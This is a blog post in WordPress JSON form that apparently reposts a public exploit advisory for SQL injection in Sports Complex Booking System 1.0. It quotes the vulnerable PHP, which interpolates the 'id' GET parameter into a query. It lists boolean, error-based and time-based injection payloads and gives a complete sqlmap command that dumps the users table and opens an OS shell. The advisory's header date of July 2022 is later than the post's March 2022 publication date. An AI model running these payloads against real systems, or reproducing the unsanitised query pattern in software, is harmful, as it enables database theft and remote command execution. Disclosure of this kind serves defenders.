{"id":22113,"date":"2022-03-24T20:38:31","date_gmt":"2022-03-24T16:38:31","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/166435\/scbs10-sqlexec.txt"},"modified":"2022-03-28T09:42:31","modified_gmt":"2022-03-28T05:12:31","slug":"sports-complex-booking-system-1-0-sql-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/sports-complex-booking-system-1-0-sql-injection\/","title":{"rendered":"Sports Complex Booking System 1.0 SQL Injection"},"content":{"rendered":"<p dir=\"ltr\"># Title: Sports Complex Booking System 1.0 Blind SQLi To Rce<br \/>\n# Author: Hejap Zairy<br \/>\n# Date: 24.07.2022<br \/>\n# Vendor: https:\/\/www.sourcecodester.com\/php\/15236\/online-sports-complex-booking-system-phpmysql-free-source-code.html<br \/>\n# Software: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/scbs_1.zip<br \/>\n# Reference: https:\/\/github.com\/Matrix07ksa<br \/>\n# Tested on: Windows, MySQL, Apache<\/p>\n<p dir=\"ltr\">#vulnerability Code php<\/p>\n<p dir=\"ltr\">&#8220;`php<br \/>\nif(isset($_GET[&#8216;id&#8217;]) &amp;&amp; $_GET[&#8216;id&#8217;] &gt; 0){<br \/>\n$qry = $conn-&gt;query(&#8220;SELECT f.*, c.name as category from `facility_list` f inner join category_list c on f.category_id = c.id where f.id = &#8216;{$_GET[&#8216;id&#8217;]}&#8217; &#8220;);<br \/>\nif($qry-&gt;num_rows &gt; 0){<br \/>\nforeach($qry-&gt;fetch_assoc() as $k =&gt; $v){<br \/>\n$$k=stripslashes($v);<br \/>\n}<br \/>\n}<br \/>\n}&#8220;`<\/p>\n<p dir=\"ltr\">#Status: CRITICAL<br \/>\n&#8220;`<br \/>\nParameter: id (GET)<br \/>\nType: boolean-based blind<br \/>\nTitle: AND boolean-based blind &#8211; WHERE or HAVING clause<br \/>\nPayload: p=view_facility&amp;id=4&#8242; AND 1013=1013&#8211; aQIm<\/p>\n<p dir=\"ltr\">Type: error-based<br \/>\nTitle: MySQL &gt;= 5.0 OR error-based &#8211; WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)<br \/>\nPayload: p=view_facility&amp;id=4&#8242; OR (SELECT 7626 FROM(SELECT COUNT(*),CONCAT(0x71716a7671,(SELECT (ELT(7626=7626,1))),0x71787a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)&#8211; SkTl<\/p>\n<p dir=\"ltr\">Type: time-based blind<br \/>\nTitle: MySQL &gt;= 5.0.12 AND time-based blind (query SLEEP)<br \/>\nPayload: p=view_facility&amp;id=4&#8242; AND (SELECT 5013 FROM (SELECT(SLEEP(5)))lCeY)&#8211; pdUo<br \/>\n&#8212;<\/p>\n<p dir=\"ltr\">&#8220;`<br \/>\n#Blind SQLi Time to Rce<br \/>\n#\u064fExploit<\/p>\n<p dir=\"ltr\">sqlmap -u &#8216;http:\/\/0day.gov\/scbs\/?p=view_facility&amp;id=4&#8217; &#8211;hex &#8211;time-sec=17 &#8211;dbms=mysql &#8211;technique=t &#8211;random-agent &#8211;eta -p id -D scbs -T users &#8211;dump &#8211;os-shell<\/p>\n<p dir=\"ltr\"># Description:<br \/>\nThe Blind Time SQLi vulnerability was converted to rce due to the permissions I have in the database and it was privesc<\/p>\n<p dir=\"ltr\"># Proof and Exploit:<br \/>\nhttps:\/\/i.imgur.com\/nY9GR9F.png<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Title: Sports Complex Booking System 1.0 Blind SQLi To Rce # Author: Hejap Zairy # Date: 24.07.2022 # Vendor: https:\/\/www.sourcecodester.com\/php\/15236\/online-sports-complex-booking-system-phpmysql-free-source-code.html # Software: https:\/\/www.sourcecodester.com\/sites\/default\/files\/download\/oretnom23\/scbs_1.zip # Reference: https:\/\/github.com\/Matrix07ksa # Tested on: Windows, MySQL, Apache #vulnerability Code php &#8220;`php if(isset($_GET[&#8216;id&#8217;]) &amp;&amp; $_GET[&#8216;id&#8217;] &gt; 0){ $qry = $conn-&gt;query(&#8220;SELECT f.*, c.name as category from `facility_list` f inner join category_list &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-22113","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=22113"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/22113\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=22113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=22113"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=22113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}